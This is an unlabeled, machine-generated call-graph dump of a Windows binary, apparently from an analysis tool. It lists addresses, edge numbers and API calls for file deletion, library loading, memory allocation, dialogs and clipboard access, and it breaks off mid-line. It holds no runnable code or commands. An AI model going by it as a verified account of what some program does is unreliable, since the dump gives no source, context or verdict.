405f83 2 API calls 4702->4706 4705 405df2 4703->4705 4707 405ef8 4704->4707 4708 405e02 lstrcatW 4705->4708 4709 405df8 4705->4709 4706->4705 4707->4698 4711 405efc 4707->4711 4710 405e0d lstrlenW FindFirstFileW 4708->4710 4709->4708 4709->4710 4712 405ed3 4710->4712 4714 405e2f 4710->4714 4713 405f37 3 API calls 4711->4713 4712->4699 4715 405f02 4713->4715 4716 405eb6 FindNextFileW 4714->4716 4726 405d74 60 API calls 4714->4726 4728 4056ca 24 API calls 4714->4728 4730 4056ca 24 API calls 4714->4730 4732 406428 36 API calls 4714->4732 4734 406668 lstrcpynW 4714->4734 4735 405d2c 4714->4735 4717 405d2c 5 API calls 4715->4717 4716->4714 4720 405ecc FindClose 4716->4720 4719 405f0e 4717->4719 4721 405f12 4719->4721 4722 405f28 4719->4722 4720->4712 4721->4698 4725 4056ca 24 API calls 4721->4725 4724 4056ca 24 API calls 4722->4724 4724->4698 4727 405f1f 4725->4727 4726->4714 4729 406428 36 API calls 4727->4729 4728->4716 4731 405f26 4729->4731 4730->4714 4731->4698 4732->4714 4733->4701 4734->4714 4743 406133 GetFileAttributesW 4735->4743 4738 405d59 4738->4714 4739 405d47 RemoveDirectoryW 4741 405d55 4739->4741 4740 405d4f DeleteFileW 4740->4741 4741->4738 4742 405d65 SetFileAttributesW 4741->4742 4742->4738 4744 405d38 4743->4744 4745 406145 SetFileAttributesW 4743->4745 4744->4738 4744->4739 4744->4740 4745->4744 4746 401941 4747 401943 4746->4747 4752 402da6 4747->4752 4750 405d74 67 API calls 4751 401951 4750->4751 4753 402db2 4752->4753 4754 4066a5 17 API calls 4753->4754 4755 402dd3 4754->4755 4756 401948 4755->4756 4757 4068ef 5 API calls 4755->4757 4756->4750 4757->4756 4862 4015c1 4863 402da6 17 API calls 4862->4863 4864 4015c8 4863->4864 4865 405fe2 4 API calls 4864->4865 4875 4015d1 4865->4875 4866 401631 4868 401663 4866->4868 4869 401636 4866->4869 4867 405f64 CharNextW 4867->4875 4871 401423 24 API calls 4868->4871 4881 401423 4869->4881 4878 40165b 4871->4878 4873 405c16 2 API calls 4873->4875 4875->4866 4875->4867 4875->4873 4876 405c33 5 API calls 4875->4876 4879 401617 GetFileAttributesW 4875->4879 4880 405b99 4 API calls 4875->4880 4876->4875 4877 40164a SetCurrentDirectoryW 4877->4878 4879->4875 4880->4875 4882 4056ca 24 API calls 4881->4882 4883 401431 4882->4883 4884 406668 lstrcpynW 4883->4884 4884->4877 5235 401c43 5257 402d84 5235->5257 5237 401c4a 5238 402d84 17 API calls 5237->5238 5239 401c57 5238->5239 5240 401c6c 5239->5240 5241 402da6 17 API calls 5239->5241 5242 401c7c 5240->5242 5243 402da6 17 API calls 5240->5243 5241->5240 5244 401cd3 5242->5244 5245 401c87 5242->5245 5243->5242 5246 402da6 17 API calls 5244->5246 5247 402d84 17 API calls 5245->5247 5249 401cd8 5246->5249 5248 401c8c 5247->5248 5250 402d84 17 API calls 5248->5250 5251 402da6 17 API calls 5249->5251 5252 401c98 5250->5252 5253 401ce1 FindWindowExW 5251->5253 5254 401cc3 SendMessageW 5252->5254 5255 401ca5 SendMessageTimeoutW 5252->5255 5256 401d03 5253->5256 5254->5256 5255->5256 5258 4066a5 17 API calls 5257->5258 5259 402d99 5258->5259 5259->5237 5267 4028c4 5268 4028ca 5267->5268 5269 4028d2 FindClose 5268->5269 5270 402c2a 5268->5270 5269->5270 4885 4040c5 4886 4040dd 4885->4886 4887 40423e 4885->4887 4886->4887 4888 4040e9 4886->4888 4889 40428f 4887->4889 4890 40424f GetDlgItem GetDlgItem 4887->4890 4893 4040f4 SetWindowPos 4888->4893 4894 404107 4888->4894 4892 4042e9 4889->4892 4902 401389 2 API calls 4889->4902 4891 4045c4 18 API calls 4890->4891 4895 404279 KiUserCallbackDispatcher 4891->4895 4896 404610 SendMessageW 4892->4896 4914 404239 4892->4914 4893->4894 4897 404110 ShowWindow 4894->4897 4898 404152 4894->4898 4899 40140b 2 API calls 4895->4899 4925 4042fb 4896->4925 4903 404130 GetWindowLongW 4897->4903 4904 40422b 4897->4904 4900 404171 4898->4900 4901 40415a DestroyWindow 4898->4901 4899->4889 4907 404176 SetWindowLongW 4900->4907 4908 404187 4900->4908 4906 40456e 4901->4906 4909 4042c1 4902->4909 4903->4904 4905 404149 ShowWindow 4903->4905 4910 40462b 8 API calls 4904->4910 4905->4898 4906->4914 4916 40457e ShowWindow 4906->4916 4907->4914 4908->4904 4912 404193 GetDlgItem 4908->4912 4909->4892 4913 4042c5 SendMessageW 4909->4913 4910->4914 4911 40454f DestroyWindow EndDialog 4911->4906 4917 4041c1 4912->4917 4918 4041a4 SendMessageW IsWindowEnabled 4912->4918 4913->4914 4915 40140b 2 API calls 4915->4925 4916->4914 4920 4041ce 4917->4920 4922 404215 SendMessageW 4917->4922 4923 4041e1 4917->4923 4931 4041c6 4917->4931 4918->4914 4918->4917 4919 4066a5 17 API calls 4919->4925 4920->4922 4920->4931 4922->4904 4926 4041e9 4923->4926 4927 4041fe 4923->4927 4924 4041fc 4924->4904 4925->4911 4925->4914 4925->4915 4925->4919 4929 4045c4 18 API calls 4925->4929 4933 4045c4 18 API calls 4925->4933 4949 40448f DestroyWindow 4925->4949 4928 40140b 2 API calls 4926->4928 4930 40140b 2 API calls 4927->4930 4928->4931 4929->4925 4932 404205 4930->4932 4962 40459d 4931->4962 4932->4904 4932->4931 4934 404376 GetDlgItem 4933->4934 4935 404393 ShowWindow KiUserCallbackDispatcher 4934->4935 4936 40438b 4934->4936 4959 4045e6 EnableWindow 4935->4959 4936->4935 4938 4043bd EnableWindow 4943 4043d1 4938->4943 4939 4043d6 GetSystemMenu EnableMenuItem SendMessageW 4940 404406 SendMessageW 4939->4940 4939->4943 4940->4943 4942 4040a6 18 API calls 4942->4943 4943->4939 4943->4942 4960 4045f9 SendMessageW 4943->4960 4961 406668 lstrcpynW 4943->4961 4945 404435 lstrlenW 4946 4066a5 17 API calls 4945->4946 4947 40444b SetWindowTextW 4946->4947 4948 401389 2 API calls 4947->4948 4948->4925 4949->4906 4950 4044a9 CreateDialogParamW 4949->4950 4950->4906 4951 4044dc 4950->4951 4952 4045c4 18 API calls 4951->4952 4953 4044e7 GetDlgItem GetWindowRect ScreenToClient SetWindowPos 4952->4953 4954 401389 2 API calls 4953->4954 4955 40452d 4954->4955 4955->4914 4956 404535 ShowWindow 4955->4956 4957 404610 SendMessageW 4956->4957 4958 40454d 4957->4958 4958->4906 4959->4938 4960->4943 4961->4945 4963 4045a4 4962->4963 4964 4045aa SendMessageW 4962->4964 4963->4964 4964->4924 5271 726f23e9 5272 726f2453 5271->5272 5273 726f245e GlobalAlloc 5272->5273 5274 726f247d 5272->5274 5273->5272 5278 4016cc 5279 402da6 17 API calls 5278->5279 5280 4016d2 GetFullPathNameW 5279->5280 5281 4016ec 5280->5281 5287 40170e 5280->5287 5284 40699e 2 API calls 5281->5284 5281->5287 5282 401723 GetShortPathNameW 5283 402c2a 5282->5283 5285 4016fe 5284->5285 5285->5287 5288 406668 lstrcpynW 5285->5288 5287->5282 5287->5283 5288->5287 5289 401e4e GetDC 5290 402d84 17 API calls 5289->5290 5291 401e60 GetDeviceCaps MulDiv ReleaseDC 5290->5291 5292 402d84 17 API calls 5291->5292 5293 401e91 5292->5293 5294 4066a5 17 API calls 5293->5294 5295 401ece CreateFontIndirectW 5294->5295 5296 402638 5295->5296 5297 726f10e1 5307 726f1111 5297->5307 5298 726f12b0 GlobalFree 5299 726f1240 GlobalFree 5299->5307 5300 726f11d7 GlobalAlloc 5300->5307 5301 726f135a 2 API calls 5301->5307 5302 726f12ab 5302->5298 5303 726f1312 2 API calls 5303->5307 5304 726f129a GlobalFree 5304->5307 5305 726f1381 lstrcpyW 5305->5307 5306 726f116b GlobalAlloc 5306->5307 5307->5298 5307->5299 5307->5300 5307->5301 5307->5302 5307->5303 5307->5304 5307->5305 5307->5306 5308 402950 5309 402da6 17 API calls 5308->5309 5311 40295c 5309->5311 5310 402972 5313 406133 2 API calls 5310->5313 5311->5310 5312 402da6 17 API calls 5311->5312 5312->5310 5314 402978 5313->5314 5336 406158 GetFileAttributesW CreateFileW 5314->5336 5316 402985 5317 402a3b 5316->5317 5318 4029a0 GlobalAlloc 5316->5318 5319 402a23 5316->5319 5320 402a42 DeleteFileW 5317->5320 5321 402a55 5317->5321 5318->5319 5322 4029b9 5318->5322 5323 403371 44 API calls 5319->5323 5320->5321 5337 4035f8 SetFilePointer 5322->5337 5325 402a30 CloseHandle 5323->5325 5325->5317 5326 4029bf 5327 4035e2 ReadFile 5326->5327 5328 4029c8 GlobalAlloc 5327->5328 5329 4029d8 5328->5329 5330 402a0c 5328->5330 5332 403371 44 API calls 5329->5332 5331 40620a WriteFile 5330->5331 5333 402a18 GlobalFree 5331->5333 5335 4029e5 5332->5335 5333->5319 5334 402a03 GlobalFree 5334->5330 5335->5334 5336->5316 5337->5326 5345 403cd5 5346 403ce0 5345->5346 5347 403ce4 5346->5347 5348 403ce7 GlobalAlloc 5346->5348 5348->5347 5349 401956 5350 402da6 17 API calls 5349->5350 5351 40195d lstrlenW 5350->5351 5352 402638 5351->5352 5353 726f1979 5354 726f199c 5353->5354 5355 726f19d1 GlobalFree 5354->5355 5356 726f19e3 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z __allrem 5354->5356 5355->5356 5357 726f1312 2 API calls 5356->5357 5358 726f1b6e GlobalFree GlobalFree 5357->5358 5359 4014d7 5360 402d84 17 API calls 5359->5360 5361 4014dd Sleep 5360->5361 5363 402c2a 5361->5363 4965 4020d8 4966 4020ea 4965->4966 4976 40219c 4965->4976 4967 402da6 17 API calls 4966->4967 4968 4020f1 4967->4968 4970 402da6 17 API calls 4968->4970 4969 401423 24 API calls 4974 4022f6 4969->4974 4971 4020fa 4970->4971 4972 402110 LoadLibraryExW 4971->4972 4973 402102 GetModuleHandleW 4971->4973 4975 402121 4972->4975 4972->4976 4973->4972 4973->4975 4988 406aa4 4975->4988 4976->4969 4979 402132 4982 402151 4979->4982 4983 40213a 4979->4983 4980 40216b 4981 4056ca 24 API calls 4980->4981 4984 402142 4981->4984 4993 726f1817 4982->4993 4985 401423 24 API calls 4983->4985 4984->4974 4986 40218e FreeLibrary 4984->4986 4985->4984 4986->4974 5035 40668a WideCharToMultiByte 4988->5035 4990 406ac1 4991 406ac8 GetProcAddress 4990->4991 4992 40212c 4990->4992 4991->4992 4992->4979 4992->4980 4994 726f184a 4993->4994 5036 726f1bff 4994->5036 4996 726f1851 4997 726f1976 4996->4997 4998 726f1869 4996->4998 4999 726f1862 4996->4999 4997->4984 5068 726f2480 4998->5068 5082 726f243e 4999->5082 5004 726f18af 5095 726f2655 5004->5095 5005 726f18cd 5008 726f191e 5005->5008 5009 726f18d3 5005->5009 5006 726f187f 5011 726f1885 5006->5011 5016 726f1890 5006->5016 5007 726f1898 5020 726f188e 5007->5020 5092 726f2e23 5007->5092 5014 726f2655 10 API calls 5008->5014 5114 726f1666 5009->5114 5011->5020 5078 726f2b98 5011->5078 5021 726f190f 5014->5021 5015 726f18b5 5106 726f1654 5015->5106 5086 726f2810 5016->5086 5020->5004 5020->5005 5026 726f1965 5021->5026 5120 726f2618 5021->5120 5023 726f1896 5023->5020 5024 726f2655 10 API calls 5024->5021 5026->4997 5028 726f196f GlobalFree 5026->5028 5028->4997 5032 726f1951 5032->5026 5124 726f15dd wsprintfW 5032->5124 5034 726f194a FreeLibrary 5034->5032 5035->4990 5127 726f12bb GlobalAlloc 5036->5127 5038 726f1c26 5128 726f12bb GlobalAlloc 5038->5128 5040 726f1e6b GlobalFree GlobalFree GlobalFree 5041 726f1e88 5040->5041 5052 726f1ed2 5040->5052 5043 726f227e 5041->5043 5051 726f1e9d 5041->5051 5041->5052 5042 726f1d26 GlobalAlloc 5059 726f1c31 5042->5059 5044 726f22a0 GetModuleHandleW 5043->5044 5043->5052 5045 726f22c6 5044->5045 5046 726f22b1 LoadLibraryW 5044->5046 5135 726f16bd WideCharToMultiByte GlobalAlloc WideCharToMultiByte 5045->5135 5046->5045 5046->5052 5047 726f1d71 lstrcpyW 5050 726f1d7b lstrcpyW 5047->5050 5048 726f1d8f GlobalFree 5048->5059 5050->5059 5051->5052 5131 726f12cc 5051->5131 5052->4996 5053 726f2126 5134 726f12bb GlobalAlloc 5053->5134 5056 726f2325 lstrlenW 5058 726f16bd 4 API calls 5056->5058 5057 726f22d8 5057->5052 5057->5056 5063 726f233f 5058->5063 5059->5040 5059->5042 5059->5047 5059->5048 5059->5050 5059->5052 5059->5053 5060 726f2067 GlobalFree 5059->5060 5061 726f21ae 5059->5061 5062 726f1dcd 5059->5062 5064 726f12cc 2 API calls 5059->5064 5060->5059 5061->5052 5066 726f2216 lstrcpyW 5061->5066 5062->5059 5129 726f162f GlobalSize GlobalAlloc 5062->5129 5063->5052 5064->5059 5066->5052 5067 726f212f 5067->4996 5070 726f2498 5068->5070 5069 726f12cc GlobalAlloc lstrcpynW 5069->5070 5070->5069 5072 726f25c1 GlobalFree 5070->5072 5074 726f256b GlobalAlloc CLSIDFromString 5070->5074 5075 726f2540 GlobalAlloc 5070->5075 5076 726f2569 5070->5076 5138 726f135a 5070->5138 5072->5070 5073 726f186f 5072->5073 5073->5006 5073->5007 5073->5020 5074->5072 5075->5076 5076->5072 5142 726f27a4 5076->5142 5080 726f2baa 5078->5080 5079 726f2c4f VirtualAlloc 5081 726f2c6d 5079->5081 5080->5079 5081->5020 5083 726f2453 5082->5083 5084 726f245e GlobalAlloc 5083->5084 5085 726f1868 5083->5085 5084->5083 5085->4998 5090 726f2840 5086->5090 5087 726f28ee 5089 726f28f4 GlobalSize 5087->5089 5091 726f28fe 5087->5091 5088 726f28db GlobalAlloc 5088->5091 5089->5091 5090->5087 5090->5088 5091->5023 5093 726f2e2e 5092->5093 5094 726f2e6e GlobalFree 5093->5094 5145 726f12bb GlobalAlloc 5095->5145 5097 726f270b lstrcpynW 5103 726f265f 5097->5103 5098 726f26fa StringFromGUID2 5098->5103 5099 726f26d8 MultiByteToWideChar 5099->5103 5100 726f271e wsprintfW 5100->5103 5101 726f2742 GlobalFree 5101->5103 5102 726f2777 GlobalFree 5102->5015 5103->5097 5103->5098 5103->5099 5103->5100 5103->5101 5103->5102 5104 726f1312 2 API calls 5103->5104 5146 726f1381 5103->5146 5104->5103 5150 726f12bb GlobalAlloc 5106->5150 5108 726f1659 5109 726f1666 2 API calls 5108->5109 5110 726f1663 5109->5110 5111 726f1312 5110->5111 5112 726f131b GlobalAlloc lstrcpynW 5111->5112 5113 726f1355 GlobalFree 5111->5113 5112->5113 5113->5021 5115 726f1672 wsprintfW 5114->5115 5118 726f169f lstrcpyW 5114->5118 5119 726f16b8 5115->5119 5118->5119 5119->5024 5121 726f2626 5120->5121 5123 726f1931 5120->5123 5122 726f2642 GlobalFree 5121->5122 5121->5123 5122->5121 5123->5032 5123->5034 5125 726f1312 2 API calls 5124->5125 5126 726f15fe 5125->5126 5126->5026 5127->5038 5128->5059 5130 726f164d 5129->5130 5130->5062 5137 726f12bb GlobalAlloc 5131->5137 5133 726f12db lstrcpynW 5133->5052 5134->5067 5136 726f16fd GlobalFree 5135->5136 5136->5057 5137->5133 5139 726f1361 5138->5139 5140 726f12cc 2 API calls 5139->5140 5141 726f137f 5140->5141 5141->5070 5143 726f2808 5142->5143 5144 726f27b2 VirtualAlloc 5142->5144 5143->5076 5144->5143 5145->5103 5147 726f13ac 5146->5147 5148 726f138a 5146->5148 5147->5103 5148->5147 5149 726f1390 lstrcpyW 5148->5149 5149->5147 5150->5108 5364 402b59 5365 402b60 5364->5365 5366 402bab 5364->5366 5368 402ba9 5365->5368 5370 402d84 17 API calls 5365->5370 5367 406a35 5 API calls 5366->5367 5369 402bb2 5367->5369 5371 402da6 17 API calls 5369->5371 5372 402b6e 5370->5372 5374 402bbb 5371->5374 5373 402d84 17 API calls 5372->5373 5377 402b7a 5373->5377 5374->5368 5375 402bbf IIDFromString 5374->5375 5375->5368 5376 402bce 5375->5376 5376->5368 5382 406668 lstrcpynW 5376->5382 5381 4065af wsprintfW 5377->5381 5379 402beb CoTaskMemFree 5379->5368 5381->5368 5382->5379 5383 402a5b 5384 402d84 17 API calls 5383->5384 5385 402a61 5384->5385 5386 402aa4 5385->5386 5387 402a88 5385->5387 5393 40292e 5385->5393 5390 402abe 5386->5390 5391 402aae 5386->5391 5388 402a8d 5387->5388 5389 402a9e 5387->5389 5397 406668 lstrcpynW 5388->5397 5398 4065af wsprintfW 5389->5398 5392 4066a5 17 API calls 5390->5392 5394 402d84 17 API calls 5391->5394 5392->5393 5394->5393 5397->5393 5398->5393 5399 726f1774 5400 726f17a3 5399->5400 5401 726f1bff 20 API calls 5400->5401 5402 726f17aa 5401->5402 5403 726f17bd 5402->5403 5404 726f17b1 5402->5404 5406 726f17c7 5403->5406 5407 726f17e4 5403->5407 5405 726f1312 2 API calls 5404->5405 5410 726f17bb 5405->5410 5411 726f15dd 3 API calls 5406->5411 5408 726f180e 5407->5408 5409 726f17ea 5407->5409 5413 726f15dd 3 API calls 5408->5413 5412 726f1654 3 API calls 5409->5412 5414 726f17cc 5411->5414 5415 726f17ef 5412->5415 5413->5410 5416 726f1654 3 API calls 5414->5416 5418 726f1312 2 API calls 5415->5418 5417 726f17d2 5416->5417 5419 726f1312 2 API calls 5417->5419 5420 726f17f5 GlobalFree 5418->5420 5421 726f17d8 GlobalFree 5419->5421 5420->5410 5422 726f1809 GlobalFree 5420->5422 5421->5410 5422->5410 5174 40175c 5175 402da6 17 API calls 5174->5175 5176 401763 5175->5176 5177 406187 2 API calls 5176->5177 5178 40176a 5177->5178 5179 406187 2 API calls 5178->5179 5179->5178 5423 401d5d 5424 402d84 17 API calls 5423->5424 5425 401d6e SetWindowLongW 5424->5425 5426 402c2a 5425->5426 5427 4028de 5428 4028e6 5427->5428 5429 4028ea FindNextFileW 5428->5429 5431 4028fc 5428->5431 5430 402943 5429->5430 5429->5431 5433 406668 lstrcpynW 5430->5433 5433->5431 5434 406d5f 5436 406be3 5434->5436 5435 40754e 5436->5435 5437 406c64 GlobalFree 5436->5437 5438 406c6d GlobalAlloc 5436->5438 5439 406ce4 GlobalAlloc 5436->5439 5440 406cdb GlobalFree 5436->5440 5437->5438 5438->5435 5438->5436 5439->5435 5439->5436 5440->5439 5441 401563 5442 402ba4 5441->5442 5445 4065af wsprintfW 5442->5445 5444 402ba9 5445->5444 5453 401968 5454 402d84 17 API calls 5453->5454 5455 40196f 5454->5455 5456 402d84 17 API calls 5455->5456 5457 40197c 5456->5457 5458 402da6 17 API calls 5457->5458 5459 401993 lstrlenW 5458->5459 5461 4019a4 5459->5461 5460 4019e5 5461->5460 5465 406668 lstrcpynW 5461->5465 5463 4019d5 5463->5460 5464 4019da lstrlenW 5463->5464 5464->5460 5465->5463 5466 40166a 5467 402da6 17 API calls 5466->5467 5468 401670 5467->5468 5469 40699e 2 API calls 5468->5469 5470 401676 5469->5470 5471 402aeb 5472 402d84 17 API calls 5471->5472 5473 402af1 5472->5473 5474 4066a5 17 API calls 5473->5474 5475 40292e 5473->5475 5474->5475 5476 726f2d43 5477 726f2d5b 5476->5477 5478 726f162f 2 API calls 5477->5478 5479 726f2d76 5478->5479 5480 4026ec 5481 402d84 17 API calls 5480->5481 5489 4026fb 5481->5489 5482 402838 5483 402745 ReadFile 5483->5482 5483->5489 5484 4061db ReadFile 5484->5489 5486 402785 MultiByteToWideChar 5486->5489 5487 40283a 5502 4065af wsprintfW 5487->5502 5489->5482 5489->5483 5489->5484 5489->5486 5489->5487 5490 4027ab SetFilePointer MultiByteToWideChar 5489->5490 5491 40284b 5489->5491 5493 406239 SetFilePointer 5489->5493 5490->5489 5491->5482 5492 40286c SetFilePointer 5491->5492 5492->5482 5494 406255 5493->5494 5497 40626d 5493->5497 5495 4061db ReadFile 5494->5495 5496 406261 5495->5496 5496->5497 5498 406276 SetFilePointer 5496->5498 5499 40629e SetFilePointer 5496->5499 5497->5489 5498->5499 5500 406281 5498->5500 5499->5497 5501 40620a WriteFile 5500->5501 5501->5497 5502->5482 5503 404a6e 5504 404aa4 5503->5504 5505 404a7e 5503->5505 5507 40462b 8 API calls 5504->5507 5506 4045c4 18 API calls 5505->5506 5508 404a8b SetDlgItemTextW 5506->5508 5509 404ab0 5507->5509 5508->5504 5194 40176f 5195 402da6 17 API calls 5194->5195 5196 401776 5195->5196 5197 401796 5196->5197 5198 40179e 5196->5198 5233 406668 lstrcpynW 5197->5233 5234 406668 lstrcpynW 5198->5234 5201 40179c 5205 4068ef 5 API calls 5201->5205 5202 4017a9 5203 405f37 3 API calls 5202->5203 5204 4017af lstrcatW 5203->5204 5204->5201 5230 4017bb 5205->5230 5206 40699e 2 API calls 5206->5230 5207 406133 2 API calls 5207->5230 5209 4017cd CompareFileTime 5209->5230 5210 40188d 5212 4056ca 24 API calls 5210->5212 5211 401864 5213 4056ca 24 API calls 5211->5213 5221 401879 5211->5221 5215 401897 5212->5215 5213->5221 5214 406668 lstrcpynW 5214->5230 5216 403371 44 API calls 5215->5216 5217 4018aa 5216->5217 5218 4018be SetFileTime 5217->5218 5219 4018d0 FindCloseChangeNotification 5217->5219 5218->5219 5219->5221 5222 4018e1 5219->5222 5220 4066a5 17 API calls 5220->5230 5223 4018e6 5222->5223 5224 4018f9 5222->5224 5225 4066a5 17 API calls 5223->5225 5226 4066a5 17 API calls 5224->5226 5228 4018ee lstrcatW 5225->5228 5229 401901 5226->5229 5227 405cc8 MessageBoxIndirectW 5227->5230 5228->5229 5229->5221 5231 405cc8 MessageBoxIndirectW 5229->5231 5230->5206 5230->5207 5230->5209 5230->5210 5230->5211 5230->5214 5230->5220 5230->5227 5232 406158 GetFileAttributesW CreateFileW 5230->5232 5231->5221 5232->5230 5233->5201 5234->5202 5510 401a72 5511 402d84 17 API calls 5510->5511 5512 401a7b 5511->5512 5513 402d84 17 API calls 5512->5513 5514 401a20 5513->5514 5515 401573 5516 401583 ShowWindow 5515->5516 5517 40158c 5515->5517 5516->5517 5518 40159a ShowWindow 5517->5518 5519 402c2a 5517->5519 5518->5519 5520 4023f4 5521 402da6 17 API calls 5520->5521 5522 402403 5521->5522 5523 402da6 17 API calls 5522->5523 5524 40240c 5523->5524 5525 402da6 17 API calls 5524->5525 5526 402416 GetPrivateProfileStringW 5525->5526 5527 4014f5 SetForegroundWindow 5528 402c2a 5527->5528 5529 401ff6 5530 402da6 17 API calls 5529->5530 5531 401ffd 5530->5531 5532 40699e 2 API calls 5531->5532 5533 402003 5532->5533 5534 402014 5533->5534 5536 4065af wsprintfW 5533->5536 5536->5534 5537 726f1058 5538 726f1074 5537->5538 5539 726f10dd 5538->5539 5542 726f1092 5538->5542 5550 726f15b6 5538->5550 5541 726f15b6 GlobalFree 5543 726f10a2 5541->5543 5542->5541 5544 726f10a9 GlobalSize 5543->5544 5545 726f10b2 5543->5545 5544->5545 5546 726f10c7 5545->5546 5547 726f10b6 GlobalAlloc 5545->5547 5549 726f10d2 GlobalFree 5546->5549 5548 726f15dd 3 API calls 5547->5548 5548->5546 5549->5539 5551 726f15bc 5550->5551 5552 726f15c2 5551->5552 5553 726f15ce GlobalFree 5551->5553 5552->5542 5553->5542 5554 401b77 5555 402da6 17 API calls 5554->5555 5556 401b7e 5555->5556 5557 402d84 17 API calls 5556->5557 5558 401b87 wsprintfW 5557->5558 5559 402c2a 5558->5559 5560 4046fa lstrcpynW lstrlenW 5561 40167b 5562 402da6 17 API calls 5561->5562 5563 401682 5562->5563 5564 402da6 17 API calls 5563->5564 5565 40168b 5564->5565 5566 402da6 17 API calls 5565->5566 5567 401694 MoveFileW 5566->5567 5568 4016a0 5567->5568 5569 4016a7 5567->5569 5571 401423 24 API calls 5568->5571 5570 40699e 2 API calls 5569->5570 5573 4022f6 5569->5573 5572 4016b6 5570->5572 5571->5573 5572->5573 5574 406428 36 API calls 5572->5574 5574->5568 5582 4022ff 5583 402da6 17 API calls 5582->5583 5584 402305 5583->5584 5585 402da6 17 API calls 5584->5585 5586 40230e 5585->5586 5587 402da6 17 API calls 5586->5587 5588 402317 5587->5588 5589 40699e 2 API calls 5588->5589 5590 402320 5589->5590 5591 402331 lstrlenW lstrlenW 5590->5591 5592 402324 5590->5592 5594 4056ca 24 API calls 5591->5594 5593 4056ca 24 API calls 5592->5593 5596 40232c 5592->5596 5593->5596 5595 40236f SHFileOperationW 5594->5595 5595->5592 5595->5596 5597 4019ff 5598 402da6 17 API calls 5597->5598 5599 401a06 5598->5599 5600 402da6 17 API calls 5599->5600 5601 401a0f 5600->5601 5602 401a16 lstrcmpiW 5601->5602 5603 401a28 lstrcmpW 5601->5603 5604 401a1c 5602->5604 5603->5604 5605 401000 5606 401037 BeginPaint GetClientRect 5605->5606 5607 40100c DefWindowProcW 5605->5607 5609 4010f3 5606->5609 5610 401179 5607->5610 5611 401073 CreateBrushIndirect FillRect DeleteObject 5609->5611 5612 4010fc 5609->5612 5611->5609 5613 401102 CreateFontIndirectW 5612->5613 5614 401167 EndPaint 5612->5614 5613->5614 5615 401112 6 API calls 5613->5615 5614->5610 5615->5614 5616 401d81 5617 401d94 GetDlgItem 5616->5617 5618 401d87 5616->5618 5619 401d8e 5617->5619 5620 402d84 17 API calls 5618->5620 5621 401dd5 GetClientRect LoadImageW SendMessageW 5619->5621 5622 402da6 17 API calls 5619->5622 5620->5619 5624 401e33 5621->5624 5626 401e3f 5621->5626 5622->5621 5625 401e38 DeleteObject 5624->5625 5624->5626 5625->5626 5627 401503 5628 40150b 5627->5628 5630 40151e 5627->5630 5629 402d84 17 API calls 5628->5629 5629->5630 5631 404783 5632 40479b 5631->5632 5636 4048b5 5631->5636 5637 4045c4 18 API calls 5632->5637 5633 40491f 5634 4049e9 5633->5634 5635 404929 GetDlgItem 5633->5635 5642 40462b 8 API calls 5634->5642 5638 404943 5635->5638 5639 4049aa 5635->5639 5636->5633 5636->5634 5640 4048f0 GetDlgItem SendMessageW 5636->5640 5641 404802 5637->5641 5638->5639 5647 404969 SendMessageW LoadCursorW SetCursor 5638->5647 5639->5634 5643 4049bc 5639->5643 5664 4045e6 EnableWindow 5640->5664 5645 4045c4 18 API calls 5641->5645 5646 4049e4 5642->5646 5648 4049d2 5643->5648 5649 4049c2 SendMessageW 5643->5649 5651 40480f CheckDlgButton 5645->5651 5668 404a32 5647->5668 5648->5646 5653 4049d8 SendMessageW 5648->5653 5649->5648 5650 40491a 5665 404a0e 5650->5665 5662 4045e6 EnableWindow 5651->5662 5653->5646 5657 40482d GetDlgItem 5663 4045f9 SendMessageW 5657->5663 5659 404843 SendMessageW 5660 404860 GetSysColor 5659->5660 5661 404869 SendMessageW SendMessageW lstrlenW SendMessageW SendMessageW 5659->5661 5660->5661 5661->5646 5662->5657 5663->5659 5664->5650 5666 404a21 SendMessageW 5665->5666 5667 404a1c 5665->5667 5666->5633 5667->5666 5671 405c8e ShellExecuteExW 5668->5671 5670 404998 LoadCursorW SetCursor 5670->5639 5671->5670 5672 402383 5673 40238a 5672->5673 5676 40239d 5672->5676 5674 4066a5 17 API calls 5673->5674 5675 402397 5674->5675 5675->5676 5677 405cc8 MessageBoxIndirectW 5675->5677 5677->5676 5678 402c05 SendMessageW 5679 402c2a 5678->5679 5680 402c1f InvalidateRect 5678->5680 5680->5679 5681 405809 5682 4059b3 5681->5682 5683 40582a GetDlgItem GetDlgItem GetDlgItem 5681->5683 5685 4059e4 5682->5685 5686 4059bc GetDlgItem CreateThread CloseHandle 5682->5686 5726 4045f9 SendMessageW 5683->5726 5688 405a0f 5685->5688 5689 405a34 5685->5689 5690 4059fb ShowWindow ShowWindow 5685->5690 5686->5685 5687 40589a 5693 4058a1 GetClientRect GetSystemMetrics SendMessageW SendMessageW 5687->5693 5691 405a6f 5688->5691 5695 405a23 5688->5695 5696 405a49 ShowWindow 5688->5696 5692 40462b 8 API calls 5689->5692 5728 4045f9 SendMessageW 5690->5728 5691->5689 5703 405a7d SendMessageW 5691->5703 5698 405a42 5692->5698 5701 4058f3 SendMessageW SendMessageW 5693->5701 5702 40590f 5693->5702 5697 40459d SendMessageW 5695->5697 5699 405a69 5696->5699 5700 405a5b 5696->5700 5697->5689 5705 40459d SendMessageW 5699->5705 5704 4056ca 24 API calls 5700->5704 5701->5702 5706 405922 5702->5706 5707 405914 SendMessageW 5702->5707 5703->5698 5708 405a96 CreatePopupMenu 5703->5708 5704->5699 5705->5691 5710 4045c4 18 API calls 5706->5710 5707->5706 5709 4066a5 17 API calls 5708->5709 5711 405aa6 AppendMenuW 5709->5711 5712 405932 5710->5712 5715 405ac3 GetWindowRect 5711->5715 5716 405ad6 TrackPopupMenu 5711->5716 5713 40593b ShowWindow 5712->5713 5714 40596f GetDlgItem SendMessageW 5712->5714 5717 405951 ShowWindow 5713->5717 5718 40595e 5713->5718 5714->5698 5720 405996 SendMessageW SendMessageW 5714->5720 5715->5716 5716->5698 5719 405af1 5716->5719 5717->5718 5727 4045f9 SendMessageW 5718->5727 5721 405b0d SendMessageW 5719->5721 5720->5698 5721->5721 5722 405b2a OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 5721->5722 5724 405b4f SendMessageW 5722->5724 5724->5724 5725 405b78 GlobalUnlock SetClipboardData CloseClipboard 5724->5725 5725->5698 5726->5687 5727->5714 5728->5688 5729 40248a 5730 402da6 17 API calls 5729->5730 5731 40249c 5730->5731 5732 402da6 17 API calls 5731->5732 5733 4024a6 5732->5733 5746 402e36 5733->5746 5736 402c2a 5737 4024de 5739 4024ea 5737->5739 5742 402d84 17 API calls 5737->5742 5738 402da6 17 API calls 5741 4024d4 lstrlenW 5738->5741 5740 402509 